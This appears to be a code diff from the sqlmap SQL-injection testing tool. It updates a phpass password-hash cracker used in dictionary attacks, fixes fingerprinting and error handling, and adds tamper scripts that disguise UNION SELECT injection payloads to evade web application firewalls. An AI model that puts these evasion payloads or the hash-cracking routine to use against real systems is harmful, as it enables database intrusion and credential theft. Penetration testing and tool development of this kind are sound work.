commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit")
|
||||||
autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
|
autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
|
||||||
|
|
||||||
taskid = None
|
taskid = None
|
||||||
@@ -849,6 +859,13 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||||||
continue
|
continue
|
||||||
logger.info("Switching to task ID '%s' " % taskid)
|
logger.info("Switching to task ID '%s' " % taskid)
|
||||||
|
|
||||||
|
elif command in ("version",):
|
||||||
|
raw = _client("%s/%s" % (addr, command))
|
||||||
|
res = dejsonize(raw)
|
||||||
|
if not res["success"]:
|
||||||
|
logger.error("Failed to execute command %s" % command)
|
||||||
|
dataToStdout("%s\n" % raw)
|
||||||
|
|
||||||
elif command in ("list", "flush"):
|
elif command in ("list", "flush"):
|
||||||
raw = _client("%s/admin/%s" % (addr, command))
|
raw = _client("%s/admin/%s" % (addr, command))
|
||||||
res = dejsonize(raw)
|
res = dejsonize(raw)
|
||||||
@@ -873,6 +890,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||||||
msg += "stop Stop current task\n"
|
msg += "stop Stop current task\n"
|
||||||
msg += "kill Kill current task\n"
|
msg += "kill Kill current task\n"
|
||||||
msg += "list Display all tasks\n"
|
msg += "list Display all tasks\n"
|
||||||
|
msg += "version Fetch server version\n"
|
||||||
msg += "flush Flush tasks (delete all tasks)\n"
|
msg += "flush Flush tasks (delete all tasks)\n"
|
||||||
msg += "exit Exit this client\n"
|
msg += "exit Exit this client\n"
|
||||||
|
|
||||||
|
|||||||
+25
-12
@@ -33,6 +33,7 @@ else:
|
|||||||
import base64
|
import base64
|
||||||
import binascii
|
import binascii
|
||||||
import gc
|
import gc
|
||||||
|
import math
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import tempfile
|
import tempfile
|
||||||
@@ -481,14 +482,20 @@ def vbulletin_passwd(password, salt, **kwargs):
|
|||||||
|
|
||||||
return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
|
return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
|
||||||
|
|
||||||
def wordpress_passwd(password, salt, count, prefix, **kwargs):
|
def phpass_passwd(password, salt, count, prefix, **kwargs):
|
||||||
"""
|
"""
|
||||||
Reference(s):
|
Reference(s):
|
||||||
http://packetstormsecurity.org/files/74448/phpassbrute.py.txt
|
https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
|
||||||
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
|
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
|
||||||
|
https://www.openwall.com/phpass/
|
||||||
|
https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py
|
||||||
|
|
||||||
>>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')
|
>>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$')
|
||||||
'$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
|
'$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
|
||||||
|
>>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$')
|
||||||
|
'$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/'
|
||||||
|
>>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$')
|
||||||
|
'$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _encode64(input_, count):
|
def _encode64(input_, count):
|
||||||
@@ -523,18 +530,24 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
password = getBytes(password)
|
password = getBytes(password)
|
||||||
salt = getBytes(salt)
|
f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix]
|
||||||
|
|
||||||
cipher = md5(salt)
|
cipher = f(getBytes(salt))
|
||||||
cipher.update(password)
|
cipher.update(password)
|
||||||
hash_ = cipher.digest()
|
hash_ = cipher.digest()
|
||||||
|
|
||||||
for i in xrange(count):
|
for i in xrange(count):
|
||||||
_ = md5(hash_)
|
_ = f(hash_)
|
||||||
_.update(password)
|
_.update(password)
|
||||||
hash_ = _.digest()
|
hash_ = _.digest()
|
||||||
|
|
||||||
return "%s%s" % (prefix, _encode64(hash_, 16))
|
retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_)))
|
||||||
|
|
||||||
|
if prefix == "$S$":
|
||||||
|
# Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x
|
||||||
|
retVal = retVal[:55]
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
__functions__ = {
|
__functions__ = {
|
||||||
HASH.MYSQL: mysql_passwd,
|
HASH.MYSQL: mysql_passwd,
|
||||||
@@ -555,7 +568,7 @@ __functions__ = {
|
|||||||
HASH.JOOMLA: joomla_passwd,
|
HASH.JOOMLA: joomla_passwd,
|
||||||
HASH.DJANGO_MD5: django_md5_passwd,
|
HASH.DJANGO_MD5: django_md5_passwd,
|
||||||
HASH.DJANGO_SHA1: django_sha1_passwd,
|
HASH.DJANGO_SHA1: django_sha1_passwd,
|
||||||
HASH.WORDPRESS: wordpress_passwd,
|
HASH.PHPASS: phpass_passwd,
|
||||||
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.APACHE_SHA1: apache_sha1_passwd,
|
HASH.APACHE_SHA1: apache_sha1_passwd,
|
||||||
@@ -965,7 +978,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
try:
|
try:
|
||||||
item = None
|
item = None
|
||||||
|
|
||||||
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
hash_ = hash_.lower()
|
hash_ = hash_.lower()
|
||||||
|
|
||||||
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
@@ -994,9 +1007,9 @@ def dictionaryAttack(attack_dict):
|
|||||||
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
||||||
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
||||||
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
||||||
elif hash_regex in (HASH.WORDPRESS,):
|
elif hash_regex in (HASH.PHPASS,):
|
||||||
if ITOA64.index(hash_[3]) < 32:
|
if ITOA64.index(hash_[3]) < 32:
|
||||||
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
|
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid hash '%s'" % hash_
|
warnMsg = "invalid hash '%s'" % hash_
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -1024,7 +1037,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
while not kb.wordlists:
|
while not kb.wordlists:
|
||||||
|
|
||||||
# the slowest of all methods hence smaller default dict
|
# the slowest of all methods hence smaller default dict
|
||||||
if hash_regex in (HASH.ORACLE_OLD,):
|
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
|
||||||
dictPaths = [paths.SMALL_DICT]
|
dictPaths = [paths.SMALL_DICT]
|
||||||
else:
|
else:
|
||||||
dictPaths = [paths.WORDLIST]
|
dictPaths = [paths.WORDLIST]
|
||||||
|
|||||||
+1
-1
@@ -68,7 +68,7 @@ class HashDB(object):
|
|||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def hashKey(key):
|
def hashKey(key):
|
||||||
key = getBytes(key if isinstance(key, six.text_type) else repr(key))
|
key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace")
|
||||||
retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400
|
retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|||||||
@@ -104,6 +104,8 @@ def _search(dork):
|
|||||||
|
|
||||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
||||||
|
|
||||||
|
page = getUnicode(page) # Note: if upper function call fails (Issue #4202)
|
||||||
|
|
||||||
retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
|
retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
|
||||||
|
|
||||||
if not retVal and "detected unusual traffic" in page:
|
if not retVal and "detected unusual traffic" in page:
|
||||||
|
|||||||
+11
-8
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
import imp
|
import imp
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
import sys
|
import sys
|
||||||
import traceback
|
import traceback
|
||||||
import warnings
|
import warnings
|
||||||
@@ -41,7 +42,12 @@ def getSafeExString(ex, encoding=None): # Cross-referenced function
|
|||||||
class SQLAlchemy(GenericConnector):
|
class SQLAlchemy(GenericConnector):
|
||||||
def __init__(self, dialect=None):
|
def __init__(self, dialect=None):
|
||||||
GenericConnector.__init__(self)
|
GenericConnector.__init__(self)
|
||||||
|
|
||||||
self.dialect = dialect
|
self.dialect = dialect
|
||||||
|
self.address = conf.direct
|
||||||
|
|
||||||
|
if self.dialect:
|
||||||
|
self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address)
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
if _sqlalchemy:
|
if _sqlalchemy:
|
||||||
@@ -52,18 +58,15 @@ class SQLAlchemy(GenericConnector):
|
|||||||
if not os.path.exists(self.db):
|
if not os.path.exists(self.db):
|
||||||
raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
|
raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
|
||||||
|
|
||||||
_ = conf.direct.split("//", 1)
|
_ = self.address.split("//", 1)
|
||||||
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
|
self.address = "%s////%s" % (_[0], os.path.abspath(self.db))
|
||||||
|
|
||||||
if self.dialect:
|
|
||||||
conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
|
|
||||||
|
|
||||||
if self.dialect == "sqlite":
|
if self.dialect == "sqlite":
|
||||||
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
|
engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False})
|
||||||
elif self.dialect == "oracle":
|
elif self.dialect == "oracle":
|
||||||
engine = _sqlalchemy.create_engine(conf.direct)
|
engine = _sqlalchemy.create_engine(self.address)
|
||||||
else:
|
else:
|
||||||
engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
|
engine = _sqlalchemy.create_engine(self.address, connect_args={})
|
||||||
|
|
||||||
self.connector = engine.connect()
|
self.connector = engine.connect()
|
||||||
except (TypeError, ValueError):
|
except (TypeError, ValueError):
|
||||||
|
|||||||
@@ -97,11 +97,20 @@ class Fingerprint(GenericFingerprint):
|
|||||||
logMsg = "confirming %s" % DBMS.DB2
|
logMsg = "confirming %s" % DBMS.DB2
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
version = self._versionCheck()
|
result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
version = self._versionCheck()
|
||||||
if version:
|
if version:
|
||||||
Backend.setVersion(version)
|
Backend.setVersion(version)
|
||||||
setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))
|
setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))
|
||||||
|
else:
|
||||||
|
setDbms(DBMS.DB2)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.dicts import SQL_STATEMENTS
|
from lib.core.dicts import SQL_STATEMENTS
|
||||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||||
@@ -46,10 +47,15 @@ class Custom(object):
|
|||||||
sqlType = sqlTitle
|
sqlType = sqlTitle
|
||||||
break
|
break
|
||||||
|
|
||||||
if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType):
|
if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType):
|
||||||
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
|
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if Backend.isDbms(DBMS.MSSQL):
|
||||||
|
match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I)
|
||||||
|
if match and match.group(2).count('.') == 1:
|
||||||
|
query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo.")))
|
||||||
|
|
||||||
output = inject.getValue(query, fromUser=True)
|
output = inject.getValue(query, fromUser=True)
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|||||||
@@ -549,7 +549,7 @@ class Databases(object):
|
|||||||
resumeAvailable = True
|
resumeAvailable = True
|
||||||
break
|
break
|
||||||
|
|
||||||
if resumeAvailable and not conf.freshQueries or colList:
|
if resumeAvailable and not conf.freshQueries:
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
|
|||||||
@@ -131,6 +131,8 @@ class Entries(object):
|
|||||||
try:
|
try:
|
||||||
if Backend.isDbms(DBMS.INFORMIX):
|
if Backend.isDbms(DBMS.INFORMIX):
|
||||||
kb.dumpTable = "%s:%s" % (conf.db, tbl)
|
kb.dumpTable = "%s:%s" % (conf.db, tbl)
|
||||||
|
elif Backend.isDbms(DBMS.SQLITE):
|
||||||
|
kb.dumpTable = tbl
|
||||||
else:
|
else:
|
||||||
kb.dumpTable = "%s.%s" % (conf.db, tbl)
|
kb.dumpTable = "%s.%s" % (conf.db, tbl)
|
||||||
|
|
||||||
@@ -156,7 +158,7 @@ class Entries(object):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
kb.dumpColumns = colList
|
kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
|
||||||
colNames = colString = ", ".join(column for column in colList)
|
colNames = colString = ", ".join(column for column in colList)
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
|
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
|
||||||
|
|
||||||
@@ -170,7 +172,7 @@ class Entries(object):
|
|||||||
for column in colList:
|
for column in colList:
|
||||||
_ = agent.preprocessField(tbl, column)
|
_ = agent.preprocessField(tbl, column)
|
||||||
if _ != column:
|
if _ != column:
|
||||||
colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)
|
colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)
|
||||||
|
|
||||||
entriesCount = 0
|
entriesCount = 0
|
||||||
|
|
||||||
|
|||||||
@@ -450,9 +450,6 @@ class Search(object):
|
|||||||
for tbl in conf.tbl.split(','):
|
for tbl in conf.tbl.split(','):
|
||||||
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD,):
|
|
||||||
values = [(conf.db, value) for value in arrayizeValue(values)]
|
|
||||||
|
|
||||||
for db, tbl in filterPairValues(values):
|
for db, tbl in filterPairValues(values):
|
||||||
db = safeSQLIdentificatorNaming(db)
|
db = safeSQLIdentificatorNaming(db)
|
||||||
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
||||||
|
|||||||
@@ -189,6 +189,9 @@ csrfUrl =
|
|||||||
# HTTP method to use during anti-CSRF token page visit.
|
# HTTP method to use during anti-CSRF token page visit.
|
||||||
csrfMethod =
|
csrfMethod =
|
||||||
|
|
||||||
|
# Retries for anti-CSRF token retrieval.
|
||||||
|
csrfRetries =
|
||||||
|
|
||||||
# Force usage of SSL/HTTPS
|
# Force usage of SSL/HTTPS
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
forceSSL = False
|
forceSSL = False
|
||||||
|
|||||||
@@ -238,6 +238,8 @@ def main():
|
|||||||
errMsg = getSafeExString(ex)
|
errMsg = getSafeExString(ex)
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
|
os._exitcode = 1
|
||||||
|
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
@@ -249,8 +251,8 @@ def main():
|
|||||||
errMsg = "exit"
|
errMsg = "exit"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
except SystemExit:
|
except SystemExit as ex:
|
||||||
pass
|
os._exitcode = ex.code or 0
|
||||||
|
|
||||||
except:
|
except:
|
||||||
print()
|
print()
|
||||||
@@ -258,6 +260,8 @@ def main():
|
|||||||
excMsg = traceback.format_exc()
|
excMsg = traceback.format_exc()
|
||||||
valid = checkIntegrity()
|
valid = checkIntegrity()
|
||||||
|
|
||||||
|
os._exitcode = 255
|
||||||
|
|
||||||
if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")):
|
if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")):
|
||||||
errMsg = "memory exhaustion detected"
|
errMsg = "memory exhaustion detected"
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
@@ -288,6 +292,11 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif "Insufficient system resources" in excMsg:
|
||||||
|
errMsg = "resource exhaustion detected"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif "OperationalError: disk I/O error" in excMsg:
|
elif "OperationalError: disk I/O error" in excMsg:
|
||||||
errMsg = "I/O error on output device"
|
errMsg = "I/O error on output device"
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
@@ -402,12 +411,12 @@ def main():
|
|||||||
dataToStdout(excMsg)
|
dataToStdout(excMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")):
|
elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module", "SAXReaderNotAvailable", "source code string cannot contain null bytes", "No module named", "tp_name field")):
|
||||||
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")):
|
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")):
|
||||||
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
@@ -460,9 +469,8 @@ def main():
|
|||||||
finally:
|
finally:
|
||||||
kb.threadContinue = False
|
kb.threadContinue = False
|
||||||
|
|
||||||
_ = getDaysFromLastUpdate()
|
if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
|
||||||
if _ > LAST_UPDATE_NAGGING_DAYS:
|
warnMsg = "your sqlmap version is outdated"
|
||||||
warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if conf.get("showTime"):
|
if conf.get("showTime"):
|
||||||
@@ -530,4 +538,4 @@ if __name__ == "__main__":
|
|||||||
sys.exit(getattr(os, "_exitcode", 0))
|
sys.exit(getattr(os, "_exitcode", 0))
|
||||||
else:
|
else:
|
||||||
# cancelling postponed imports (because of Travis CI checks)
|
# cancelling postponed imports (because of Travis CI checks)
|
||||||
from lib.controller.controller import start
|
__import__("lib.controller.controller")
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of <int> UNION with <int>e0UNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
* MsSQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1e0UNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Injects keyword binary where possible
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
|
||||||
|
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
|
||||||
|
>>> tamper('1 AND 2>1')
|
||||||
|
'1 AND binary 2>binary 1'
|
||||||
|
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
|
||||||
|
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = payload
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
retVal = re.sub(r"\bNULL\b", "binary NULL", retVal)
|
||||||
|
retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)
|
||||||
|
retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)
|
||||||
|
retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)
|
||||||
|
retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)
|
||||||
|
retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal)
|
||||||
|
retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal)
|
||||||
|
|
||||||
|
return retVal
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of <int> UNION with <int>DUNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* Oracle
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1DUNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances of UNION with -.1UNION
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
|
||||||
|
|
||||||
|
>>> tamper('1 UNION ALL SELECT')
|
||||||
|
'1-.1UNION ALL SELECT'
|
||||||
|
>>> tamper('1" UNION ALL SELECT')
|
||||||
|
'1"-.1UNION ALL SELECT'
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user